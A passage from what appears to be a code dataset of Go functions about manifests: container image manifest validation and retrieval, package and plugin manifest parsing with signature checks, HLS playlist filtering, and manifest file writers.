ms.manifestURLs.allow\n\t\t\tdeny := ms.manifestURLs.deny\n\t\t\tfor _, u := range descriptor.URLs {\n\t\t\t\tvar pu *url.URL\n\t\t\t\tpu, err = url.Parse(u)\n\t\t\t\tif err != nil || (pu.Scheme != \"http\" && pu.Scheme != \"https\") || pu.Fragment != \"\" || (allow != nil && !allow.MatchString(u)) || (deny != nil && deny.MatchString(u)) {\n\t\t\t\t\terr = errInvalidURL\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\tcase schema2.MediaTypeManifest, schema1.MediaTypeManifest:\n\t\t\tvar exists bool\n\t\t\texists, err = manifestService.Exists(ctx, descriptor.Digest)\n\t\t\tif err != nil || !exists {\n\t\t\t\terr = distribution.ErrBlobUnknown // just coerce to unknown.\n\t\t\t}\n\n\t\t\tfallthrough // double check the blob store.\n\t\tdefault:\n\t\t\t// forward all else to blob storage\n\t\t\tif len(descriptor.URLs) == 0 {\n\t\t\t\t_, err = blobsService.Stat(ctx, descriptor.Digest)\n\t\t\t}\n\t\t}\n\n\t\tif err != nil {\n\t\t\tif err != distribution.ErrBlobUnknown {\n\t\t\t\terrs = append(errs, err)\n\t\t\t}\n\n\t\t\t// On error here, we always append unknown blob errors.\n\t\t\terrs = append(errs, distribution.ErrManifestBlobUnknown{Digest: descriptor.Digest})\n\t\t}\n\t}\n\n\tif len(errs) != 0 {\n\t\treturn errs\n\t}\n\n\treturn nil\n}", "func ParseManifest(filename string) Manifest {\n\tlog.WithFields(log.Fields{\"From\": filename}).Info(\"Loading manifest\")\n\n\tfile, err := os.Open(filename)\n\tdefer file.Close()\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\tvar data map[string]interface{}\n\n\tjsonParser := json.NewDecoder(file)\n\terr = jsonParser.Decode(&data)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\tmWants := map[string]string{}\n\tmRepositories := map[string]ManifestRepositoryInfo{}\n\n\tif wants, ok := data[\"wants\"]; ok {\n\t\twants := wants.(map[string]interface{})\n\t\tfor w, v := range wants {\n\t\t\tmWants[w] = v.(string)\n\t\t}\n\t}\n\n\tif repositories, ok := data[\"repositories\"]; ok {\n\t\trepositories := repositories.(map[string]interface{})\n\t\tfor reponame, repo := range repositories {\n\n\t\t\trepo := repo.([]interface{})\n\t\t\trepopath := repo[0].(map[string]interface{})\n\t\t\trepovals := repo[1].(map[string]interface{})\n\n\t\t\tvar r = ManifestRepositoryInfo{\n\t\t\t\tValues: repovals,\n\t\t\t}\n\n\t\t\tif _, ok := repopath[\"file\"]; ok {\n\t\t\t\tr.SrcType = \"file\"\n\t\t\t\tr.SrcValue = repopath[\"file\"].(string)\n\t\t\t}\n\n\t\t\tfor k, v := range repovals {\n\t\t\t\tr.Values[k] = v.(string)\n\t\t\t}\n\n\t\t\tmRepositories[reponame] = r\n\t\t}\n\t}\n\n\tmanifest := Manifest{\n\t\tWants: mWants,\n\t\tRepositories: mRepositories,\n\n\t\tPackages: map[string]map[string]map[string]interface{}{},\n\t\tOutPackages: map[string]map[string]interface{}{},\n\t}\n\n\tfor rn, rv := range manifest.Repositories {\n\t\tlog.WithFields(log.Fields{\"Name\": rn}).Info(\"Loading repository\")\n\t\tr := RepositoryFromInfo(rv)\n\t\tfor pn, pf := range r.PackageFiles {\n\t\t\tfor pv, p := range pf.Packages {\n\t\t\t\tif l, ok := manifest.Packages[pn]; ok {\n\t\t\t\t\tl[pv] = p\n\t\t\t\t\tmanifest.Packages[pn] = l\n\t\t\t\t} else {\n\t\t\t\t\tmanifest.Packages[pn] = map[string]map[string]interface{}{pv: p}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tfor pn, pc := range manifest.Wants {\n\t\tmanifest.Filter(pn, pc)\n\t}\n\n\tfor pn := range manifest.Wants {\n\t\tmanifest.Resolve(pn, []string{})\n\t}\n\n\tfor pn := range manifest.Wants {\n\t\tmanifest.Merge(pn, []string{})\n\t}\n\n\tmanifest.Dump()\n\n\treturn manifest\n}", "func getManifest(fimg *sif.FileImage) pluginapi.Manifest {\n\treturn pluginapi.Manifest{}\n}", "func manifest() error {\n\tfmt.Println(\"🔨 Generating app.manifest...\")\n\n\tfile, err := os.Create(\"app.manifest\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\n\t_, err = io.WriteString(file, `<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n <compatibility xmlns=\"urn:schemas-microsoft-com:compatibility.v1\">\n <application>\n <!--This Id value indicates the application supports Windows 7 functionality-->\n <supportedOS Id=\"{35138b9a-5d96-4fbd-8e2d-a2440225f93a}\"/>\n <!--This Id value indicates the application supports Windows 8 functionality-->\n <supportedOS Id=\"{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}\"/>\n <!--This Id value indicates the application supports Windows 8.1 functionality-->\n <supportedOS Id=\"{1f676c76-80e1-4239-95bb-83d0f6d0da78}\"/>\n <!--This Id value indicates the application supports Windows 10 functionality-->\n <supportedOS Id=\"{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}\"/>\n </application>\n </compatibility>\n <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n <security>\n <requestedPrivileges>\n <requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\"/>\n </requestedPrivileges>\n </security>\n </trustInfo>\n</assembly>`)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (h *proxyHandler) GetManifest(args []any) (replyBuf, error) {\n\th.lock.Lock()\n\tdefer h.lock.Unlock()\n\n\tvar ret replyBuf\n\n\tif h.sysctx == nil {\n\t\treturn ret, fmt.Errorf(\"client error: must invoke Initialize\")\n\t}\n\tif len(args) != 1 {\n\t\treturn ret, fmt.Errorf(\"invalid request, expecting one argument\")\n\t}\n\timgref, err := h.parseImageFromID(args[0])\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\terr = h.cacheTargetManifest(imgref)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\timg := imgref.cachedimg\n\n\tctx := context.Background()\n\trawManifest, manifestType, err := img.Manifest(ctx)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\t// We only support OCI and docker2schema2. We know docker2schema2 can be easily+cheaply\n\t// converted into OCI, so consumers only need to see OCI.\n\tswitch manifestType {\n\tcase imgspecv1.MediaTypeImageManifest, manifest.DockerV2Schema2MediaType:\n\t\tbreak\n\t// Explicitly reject e.g. docker schema 1 type with a \"legacy\" note\n\tcase manifest.DockerV2Schema1MediaType, manifest.DockerV2Schema1SignedMediaType:\n\t\treturn ret, fmt.Errorf(\"unsupported legacy manifest MIME type: %s\", manifestType)\n\tdefault:\n\t\treturn ret, fmt.Errorf(\"unsupported manifest MIME type: %s\", manifestType)\n\t}\n\n\t// We always return the original digest, as that's what clients need to do pull-by-digest\n\t// and in general identify the image.\n\tdigest, err := manifest.Digest(rawManifest)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\tvar serialized []byte\n\t// But, we convert to OCI format on the wire if it's not already. The idea here is that by reusing the containers/image\n\t// stack, clients to this proxy can pretend the world is OCI only, and not need to care about e.g.\n\t// docker schema and MIME types.\n\tif manifestType != imgspecv1.MediaTypeImageManifest {\n\t\tmanifestUpdates := types.ManifestUpdateOptions{ManifestMIMEType: imgspecv1.MediaTypeImageManifest}\n\t\tociImage, err := img.UpdatedImage(ctx, manifestUpdates)\n\t\tif err != nil {\n\t\t\treturn ret, err\n\t\t}\n\n\t\tociSerialized, _, err := ociImage.Manifest(ctx)\n\t\tif err != nil {\n\t\t\treturn ret, err\n\t\t}\n\t\tserialized = ociSerialized\n\t} else {\n\t\tserialized = rawManifest\n\t}\n\treturn h.returnBytes(digest, serialized)\n}", "func ForKind(kind schema.GroupVersionKind) interface{} {\n\tswitch kind {\n\t// Group=aci.fabricattachment, Version=v1\n\tcase v1.SchemeGroupVersion.WithKind(\"AciNodeLinkAdjacency\"):\n\t\treturn &acifabricattachmentv1.AciNodeLinkAdjacencyApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"EncapRef\"):\n\t\treturn &acifabricattachmentv1.EncapRefApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"EncapSource\"):\n\t\treturn &acifabricattachmentv1.EncapSourceApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"NadVlanMap\"):\n\t\treturn &acifabricattachmentv1.NadVlanMapApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"NadVlanMapSpec\"):\n\t\treturn &acifabricattachmentv1.NadVlanMapSpecApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"NadVlanMapStatus\"):\n\t\treturn &acifabricattachmentv1.NadVlanMapStatusApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"NADVlanRef\"):\n\t\treturn &acifabricattachmentv1.NADVlanRefApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"NodeFabricNetworkAttachment\"):\n\t\treturn &acifabricattachmentv1.NodeFabricNetworkAttachmentApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"NodeFabricNetworkAttachmentSpec\"):\n\t\treturn &acifabricattachmentv1.NodeFabricNetworkAttachmentSpecApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"NodeFabricNetworkAttachmentStatus\"):\n\t\treturn &acifabricattachmentv1.NodeFabricNetworkAttachmentStatusApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"ObjRef\"):\n\t\treturn &acifabricattachmentv1.ObjRefApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"PodAttachment\"):\n\t\treturn &acifabricattachmentv1.PodAttachmentApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"StaticFabricNetworkAttachment\"):\n\t\treturn &acifabricattachmentv1.StaticFabricNetworkAttachmentApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"StaticFabricNetworkAttachmentSpec\"):\n\t\treturn &acifabricattachmentv1.StaticFabricNetworkAttachmentSpecApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"StaticFabricNetworkAttachmentStatus\"):\n\t\treturn &acifabricattachmentv1.StaticFabricNetworkAttachmentStatusApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"VlanRef\"):\n\t\treturn &acifabricattachmentv1.VlanRefApplyConfiguration{}\n\tcase v1.SchemeGroupVersion.WithKind(\"VlanSpec\"):\n\t\treturn &acifabricattachmentv1.VlanSpecApplyConfiguration{}\n\n\t}\n\treturn nil\n}", "func readPluginManifest(body []byte) (*pluginManifest, error) {\n\tblock, _ := clearsign.Decode(body)\n\tif block == nil {\n\t\treturn nil, errors.New(\"unable to decode manifest\")\n\t}\n\n\t// Convert to a well typed object\n\tmanifest := &pluginManifest{}\n\terr := json.Unmarshal(block.Plaintext, &manifest)\n\tif err != nil {\n\t\treturn nil, errutil.Wrap(\"Error parsing manifest JSON\", err)\n\t}\n\n\tkeyring, err := openpgp.ReadArmoredKeyRing(bytes.NewBufferString(publicKeyText))\n\tif err != nil {\n\t\treturn nil, errutil.Wrap(\"failed to parse public key\", err)\n\t}\n\n\tif _, err := openpgp.CheckDetachedSignature(keyring,\n\t\tbytes.NewBuffer(block.Bytes),\n\t\tblock.ArmoredSignature.Body); err != nil {\n\t\treturn nil, errutil.Wrap(\"failed to check signature\", err)\n\t}\n\n\treturn manifest, nil\n}", "func (f *File) AddManifest(mainClass string) error {\n\tmanifest := fmt.Sprintf(\"Manifest-Version: 1.0\\nMain-Class: %s\\n\", mainClass)\n\treturn f.WriteFile(\"META-INF/MANIFEST.MF\", []byte(manifest), 0644)\n}", "func (r *Repository) createManifest(root string) error {\n\terr := r.LoadVersions()\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar m Manifest\n\tm.Namespace = r.Namespace\n\tm.Versions = r.SchemaVersions()\n\tm.Schemas = make(map[string]*DisplayVersion, len(m.Versions))\n\tfor _, v := range r.Versions {\n\t\tdv := &DisplayVersion{\n\t\t\tName: v.Name(),\n\t\t\tNamespace: v.Namespace(),\n\t\t\tSchemas: v.Schemas,\n\t\t}\n\t\tm.Schemas[dv.Name] = dv\n\t}\n\tmanifest := path.Join(root, \"manifest.json\")\n\tbb, err := json.Marshal(m)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn os.WriteFile(manifest, bb, 0755)\n\n}", "func parseManifestConfig(tx *gorp.Transaction, sd keppel.StorageDriver, account keppel.Account, manifest keppel.ParsedManifest) (result manifestConfigInfo, err error) {\n\t//is this manifest an image that has labels?\n\tconfigBlob := manifest.FindImageConfigBlob()\n\tif configBlob == nil {\n\t\treturn manifestConfigInfo{}, nil\n\t}\n\n\t//load the config blob\n\tstorageID, err := tx.SelectStr(\n\t\t`SELECT storage_id FROM blobs WHERE account_name = $1 AND digest = $2`,\n\t\taccount.Name, configBlob.Digest.String(),\n\t)\n\tif err != nil {\n\t\treturn manifestConfigInfo{}, err\n\t}\n\tif storageID == \"\" {\n\t\treturn manifestConfigInfo{}, keppel.ErrManifestBlobUnknown.With(\"\").WithDetail(configBlob.Digest.String())\n\t}\n\tblobReader, _, err := sd.ReadBlob(account, storageID)\n\tif err != nil {\n\t\treturn manifestConfigInfo{}, err\n\t}\n\tblobContents, err := io.ReadAll(blobReader)\n\tif err != nil {\n\t\treturn manifestConfigInfo{}, err\n\t}\n\terr = blobReader.Close()\n\tif err != nil {\n\t\treturn manifestConfigInfo{}, err\n\t}\n\n\t//the Docker v2 and OCI formats are very similar; they're both JSON and have\n\t//the labels in the same place, so we can use a single code path for both\n\tvar data struct {\n\t\tConfig struct {\n\t\t\tLabels map[string]string `json:\"labels\"`\n\t\t} `json:\"config\"`\n\t\tHistory []struct {\n\t\t\tCreated *time.Time `json:\"created\"`\n\t\t} `json:\"history\"`\n\t}\n\terr = json.Unmarshal(blobContents, &data)\n\tif err != nil {\n\t\treturn manifestConfigInfo{}, err\n\t}\n\tresult.Labels = data.Config.Labels\n\n\t// collect layer creation times (but ignore layers with a creation timestamp\n\t// equal to the Unix epoch, like for distroless [1], since such timestamps\n\t// are caused by a reproducible build and not indicative of the actual build\n\t// time)\n\t//\n\t// NOTE: Check was extended from `.Unix() != 0` to `.Unix() > 0` because we now\n\t// observed distroless images with a timestamp around year 0.\n\t//\n\t// [1] Ref: <https://github.com/GoogleContainerTools/distroless/issues/112>\n\tfor _, v := range data.History {\n\t\tif v.Created != nil && v.Created.Unix() > 0 {\n\t\t\tresult.MinCreationTime = keppel.MinMaybeTime(result.MinCreationTime, v.Created)\n\t\t\tresult.MaxCreationTime = keppel.MaxMaybeTime(result.MaxCreationTime, v.Created)\n\t\t}\n\t}\n\n\treturn result, nil\n}", "func (h *HLSFilter) filterRenditionManifest(filters *parsers.MediaFilters, m *m3u8.MediaPlaylist) (string, error) {\n\tfilteredPlaylist, err := m3u8.NewMediaPlaylist(m.Count(), m.Count())\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"filtering Rendition Manifest: %w\", err)\n\t}\n\n\tfor _, segment := range m.Segments {\n\t\tif segment == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif segment.ProgramDateTime == (time.Time{}) {\n\t\t\treturn \"\", fmt.Errorf(\"Program Date Time not set on segments\")\n\t\t}\n\n\t\tif inRange(filters.Trim.Start, filters.Trim.End, segment.ProgramDateTime.Unix()) {\n\t\t\tabsolute, err := getAbsoluteURL(h.manifestURL)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", fmt.Errorf(\"formatting segment URLs: %w\", err)\n\t\t\t}\n\n\t\t\tsegment.URI, err = combinedIfRelative(segment.URI, *absolute)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", fmt.Errorf(\"formatting segment URLs: %w\", err)\n\t\t\t}\n\n\t\t\terr = filteredPlaylist.AppendSegment(segment)\n\t\t\tif err != nil {\n\t\t\t\treturn \"\", fmt.Errorf(\"trimming segments: %w\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\tfilteredPlaylist.Close()\n\n\treturn filteredPlaylist.Encode().String(), nil\n}", "func (a *ApplicationGatewayWafDynamicManifestResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &a.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &a.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &a.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &a.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (restorer *APTRestorer) writeManifest(manifestType, algorithm string, restoreState *models.RestoreState) {\n\tif algorithm != constants.AlgMd5 && algorithm != constants.AlgSha256 {\n\t\trestorer.Context.MessageLog.Fatalf(\"writeManifest: Unsupported algorithm: %s\", algorithm)\n\t}\n\tmanifestPath := restorer.getManifestPath(manifestType, algorithm, restoreState)\n\tmanifestFile, err := os.Create(manifestPath)\n\tif err != nil {\n\t\trestoreState.PackageSummary.AddError(\"Cannot create manifest file %s: %v\",\n\t\t\tmanifestPath, err)\n\t\treturn\n\t}\n\tdefer manifestFile.Close()\n\tfor _, gf := range restoreState.IntellectualObject.GenericFiles {\n\t\tif !restorer.fileBelongsInManifest(gf, manifestType) {\n\t\t\trestorer.Context.MessageLog.Info(\"Skipping file '%s' for manifest type %s (%s)\",\n\t\t\t\tgf.Identifier, manifestType, algorithm)\n\t\t\tcontinue\n\t\t} else {\n\t\t\trestorer.Context.MessageLog.Info(\"Adding '%s' to %s\", gf.Identifier, manifestFile.Name())\n\t\t}\n\t\tchecksum := gf.GetChecksumByAlgorithm(algorithm)\n\t\tif checksum == nil {\n\t\t\trestoreState.PackageSummary.AddError(\"Cannot find %s checksum for file %s\",\n\t\t\t\talgorithm, gf.OriginalPath())\n\t\t\treturn\n\t\t}\n\t\t_, err := fmt.Fprintln(manifestFile, checksum.Digest, gf.OriginalPath())\n\t\tif err != nil {\n\t\t\trestoreState.PackageSummary.AddError(\"Error writing checksum for file %s \"+\n\t\t\t\t\"to manifest %s: %v\", gf.OriginalPath(), manifestPath, err)\n\t\t\treturn\n\t\t} else {\n\t\t\trestorer.Context.MessageLog.Info(\"Wrote %s digest %s for file %s\", algorithm,\n\t\t\t\tchecksum.Digest, gf.Identifier)\n\t\t}\n\t}\n}", "func RenderManifest(man apiv1.Manifest, cfg apiv1.Config, dir string) error {\n\tif !validManifest(man) {\n\t\treturn errors.New(\"must have Dockerfile template and output\")\n\t}\n\n\tif man.Config != nil {\n\t\tcfg = mergeConfig(cfg, man.Config)\n\t}\n\n\tif man.ConfigFiles != nil {\n\t\tfor _, f := range man.ConfigFiles {\n\t\t\tcfgFromFile, err := parseConfig(filepath.Join(dir, f))\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to load config: %w\", err)\n\t\t\t}\n\n\t\t\tcfg = mergeConfig(cfg, cfgFromFile)\n\t\t}\n\t}\n\n\ttmpl, err := parseTemplate(filepath.Join(dir, man.Dockerfile))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to load template: %w\", err)\n\t}\n\n\toutputpath := filepath.Join(dir, man.OutputFile)\n\toutdir := filepath.Dir(outputpath)\n\tif !isDir(outdir) {\n\t\tif err := os.MkdirAll(outdir, os.ModePerm); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tw, err := os.Create(outputpath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to open Dockerfile for writing: %w\", err)\n\t}\n\tdefer w.Close()\n\n\tif err := executeTemplate(w, tmpl, cfg); err != nil {\n\t\treturn fmt.Errorf(\"failed to print Dockerfile: %w\", err)\n\t}\n\n\treturn nil\n}", "func ConvertRawExtention2AppConfig(raw runtime.RawExtension) (*v1alpha2.ApplicationConfiguration, error) {\n\tac := &v1alpha2.ApplicationConfiguration{}\n\tb, err := raw.MarshalJSON()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := json.Unmarshal(b, ac); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ac, nil\n}", "func (s *tagStore) Manifest(ctx context.Context, t *models.Tag) (*models.Manifest, error) {\n\tdefer metrics.InstrumentQuery(\"tag_manifest\")()\n\tq := `SELECT\n\t\t\tm.id,\n\t\t\tm.top_level_namespace_id,\n\t\t\tm.repository_id,\n\t\t\tm.schema_version,\n\t\t\tmt.media_type,\n\t\t\tencode(m.digest, 'hex') as digest,\n\t\t\tm.payload,\n\t\t\tmtc.media_type as configuration_media_type,\n\t\t\tencode(m.configuration_blob_digest, 'hex') as configuration_blob_digest,\n\t\t\tm.configuration_payload,\n\t\t\tm.created_at\n\t\tFROM\n\t\t\tmanifests AS m\n\t\t\tJOIN media_types AS mt ON mt.id = m.media_type_id\n\t\t\tLEFT JOIN media_types AS mtc ON mtc.id = m.configuration_media_type_id\n\t\tWHERE\n\t\t\tm.top_level_namespace_id = $1\n\t\t\tAND m.repository_id = $2\n\t\t\tAND m.id = $3`\n\trow := s.db.QueryRowContext(ctx, q, t.NamespaceID, t.RepositoryID, t.ManifestID)\n\n\treturn scanFullManifest(row)\n}", "func (m *Manifest) ConvertToKube(namespace string) (KubeConfig, error) {\n\tkubeConfig := KubeConfig{\n\t\tNamespace: namespace,\n\t}\n\n\tconvertedExtSts, err := m.convertToExtendedSts(namespace)\n\tif err != nil {\n\t\treturn KubeConfig{}, err\n\t}\n\n\tconvertedExtJob, err := m.convertToExtendedJob(namespace)\n\tif err != nil {\n\t\treturn KubeConfig{}, err\n\t}\n\n\tdataGatheringJob, err := m.dataGatheringJob(namespace)\n\tif err != nil {\n\t\treturn KubeConfig{}, err\n\t}\n\n\tvarInterpolationJob, err := m.variableInterpolationJob(namespace)\n\tif err != nil {\n\t\treturn KubeConfig{}, err\n\t}\n\n\tkubeConfig.Variables = m.convertVariables(namespace)\n\tkubeConfig.InstanceGroups = convertedExtSts\n\tkubeConfig.Errands = convertedExtJob\n\tkubeConfig.VariableInterpolationJob = varInterpolationJob\n\tkubeConfig.DataGatheringJob = dataGatheringJob\n\n\treturn kubeConfig, nil\n}", "func ConvertToRawExtension(from runtime.Object, scheme *runtime.Scheme) (*runtime.RawExtension, error) {\n\t// set the apiversion and kind\n\tif err := InjectTypeInformation(from, scheme); err != nil {\n\t\treturn nil, err\n\t}\n\n\text := &runtime.RawExtension{}\n\tif err := runtime.Convert_runtime_Object_To_runtime_RawExtension(&from, ext, nil); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ext, nil\n}", "func (c *Client) PutV2Manifest(url string, v2Manifest schema2.Manifest) error {\n\terr := c.doPut(url, v2Manifest)\n\tif err != nil {\n\t\tlog.Println(\"failed to PUT v2 manifest\", url, err)\n\t}\n\treturn err\n}", "func (c *Cache) cacheManifest(cb *CachedBundle) error {\n\tif cb.Definition.IsPorterBundle() {\n\t\tstamp, err := configadapter.LoadStamp(cb.Definition)\n\t\tif err != nil {\n\t\t\tfmt.Fprintf(c.Err, \"WARNING: Bundle %s was created by porter but could not load the Porter stamp. This may be because it was created by an older version of Porter.\\n\", cb.Reference)\n\t\t\treturn nil\n\t\t}\n\n\t\tif stamp.EncodedManifest == \"\" {\n\t\t\tfmt.Fprintf(c.Err, \"WARNING: Bundle %s was created by porter but could not find a porter manifest embedded. This may be because it was created by an older version of Porter.\\n\", cb.Reference)\n\t\t\treturn nil\n\t\t}\n\n\t\tcb.ManifestPath = cb.BuildManifestPath()\n\t\terr = stamp.WriteManifest(c.Context, cb.ManifestPath)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error writing porter.yaml for %s: %w\", cb.Reference, err)\n\t\t}\n\t}\n\n\treturn nil\n}", "func FromBytes(bytes []byte) (Manifest, error) {\n\tmanifest := &manifest{}\n\n\t// Preserve the raw manifest so that manifest.Bytes() returns bytes in\n\t// the same order that they were passed to this function\n\tmanifest.raw = make([]byte, len(bytes))\n\tcopy(manifest.raw, bytes)\n\n\tsigned, _ := clearsign.Decode(bytes)\n\tif signed != nil {\n\t\tsignature, err := ioutil.ReadAll(signed.ArmoredSignature.Body)\n\t\tif err != nil {\n\t\t\treturn nil, util.Errorf(\"Could not read signature from pod manifest: %s\", err)\n\t\t}\n\t\tmanifest.signature = signature\n\n\t\t// the original plaintext is in signed.Plaintext, but the signature\n\t\t// corresponds to signed.Bytes, so that's what we need to save\n\t\tmanifest.plaintext = signed.Bytes\n\n\t\t// parse YAML from the message's plaintext instead\n\t\tbytes = signed.Plaintext\n\t}\n\n\tif err := yaml.Unmarshal(bytes, manifest); err != nil {\n\t\treturn nil, util.Errorf(\"Could not read pod manifest: %s\", err)\n\t}\n\tif err := ValidManifest(manifest); err != nil {\n\t\treturn nil, util.Errorf(\"invalid manifest: %s\", err)\n\t}\n\treturn manifest, nil\n}", "func (c *Client) GetV2Manifest(url string) (schema2.Manifest, error) {\n\tv2Manifest := schema2.Manifest{}\n\terr := c.doGet(url, &v2Manifest)\n\tif err != nil {\n\t\tlog.Println(\"failed to GET v2 manifest\", url, err)\n\t}\n\treturn v2Manifest, err\n}", "func Parse(cfg string) (dcfg *pb.GlobalConfig, ce *adapter.ConfigErrors) {\n\tm := map[string]interface{}{}\n\tvar err error\n\tif err = yaml.Unmarshal([]byte(cfg), &m); err != nil {\n\t\treturn nil, ce.Append(\"descriptorConfig\", err)\n\t}\n\tvar cerr *adapter.ConfigErrors\n\tvar oarr reflect.Value\n\n\tbasemsg := map[string]interface{}{}\n\t// copy unhandled keys into basemsg\n\tfor kk, v := range m {\n\t\tif typeMap[dname(kk)] == nil {\n\t\t\tbasemsg[kk] = v\n\t\t}\n\t}\n\n\tdcfg = &pb.GlobalConfig{}\n\n\tce = ce.Extend(updateMsg(\"descriptorConfig\", basemsg, dcfg, nil, true))\n\n\t//flatten manifest\n\tvar k dname = manifests\n\tval := m[string(k)]\n\tif val != nil {\n\t\tmani := []*pb.AttributeManifest{}\n\t\tfor midx, msft := range val.([]interface{}) {\n\t\t\tmname := fmt.Sprintf(\"%s[%d]\", k, midx)\n\t\t\tmanifest := msft.(map[string]interface{})\n\t\t\tattr := manifest[attributes].(map[string]interface{})\n\t\t\tdelete(manifest, attributes)\n\t\t\tma := &pb.AttributeManifest{}\n\t\t\tif cerr = updateMsg(mname, manifest, ma, typeMap[k], false); cerr != nil {\n\t\t\t\tce = ce.Extend(cerr)\n\t\t\t}\n\t\t\tif oarr, cerr = processMap(mname+\".\"+attributes, attr, typeMap[attributes]); cerr != nil {\n\t\t\t\tce = ce.Extend(cerr)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tma.Attributes = oarr.Interface().(map[string]*pb.AttributeManifest_AttributeInfo)\n\t\t\tmani = append(mani, ma)\n\t\t}\n\t\tdcfg.Manifests = mani\n\t}\n\n\tfor k, kfn := range typeMap {\n\t\tif k == manifests {\n\t\t\tcontinue\n\t\t}\n\t\tval = m[string(k)]\n\t\tif val == nil {\n\t\t\tif glog.V(2) {\n\t\t\t\tglog.Warningf(\"%s missing\", k)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif oarr, cerr = processArray(string(k), val.([]interface{}), kfn); cerr != nil {\n\t\t\tce = ce.Extend(cerr)\n\t\t\tcontinue\n\t\t}\n\t\tfld := reflect.ValueOf(dcfg).Elem().FieldByName(strings.Title(string(k)))\n\t\tif !fld.IsValid() {\n\t\t\tcontinue\n\t\t}\n\t\tfld.Set(oarr)\n\t}\n\n\treturn dcfg, ce\n}", "func writeManifestFile(m *manifest.Manifest) {\n\tmanifestFile, err := os.OpenFile(manifestFileName, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644)\n\tcobra.CheckErr(err)\n\n\tdefer func() {\n\t\tcobra.CheckErr(manifestFile.Close())\n\t}()\n\n\tcobra.CheckErr(m.WriteManifest(manifestFile))\n\n\tfmt.Printf(\"Manifest written to '%s'\\n\", manifestFileName)\n}", "func GrowManifest(\n\tctx context.Context,\n\to *GrowManifestOptions,\n) error {\n\tvar err error\n\tvar riiCombined RegInvImage\n\n\t// (1) Scan the BaseDir and find the promoter manifest to modify.\n\tmanifest, err := FindManifest(o)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// (2) Scan the StagingRepo, and whittle the read results down with some\n\t// filters (Filter* fields in GrowManifestOptions).\n\triiUnfiltered, err := ReadStagingRepo(o)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// (3) Apply some filters.\n\triiFiltered, err := ApplyFilters(o, riiUnfiltered)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// (4) Inject (2)'s output into (1)'s manifest's images to create a larger\n\t// RegInvImage.\n\triiCombined = Union(manifest.ToRegInvImage(), riiFiltered)\n\n\t// (5) Write back RegInvImage as Manifest ([]Image field}) back onto disk.\n\terr = WriteImages(manifest, riiCombined)\n\n\treturn err\n}", "func (t *Track) buildVideoManifestRepresentation() string {\n\tres := `\n <Representation\n id=\"video` + strconv.Itoa(t.index) + `\"\n 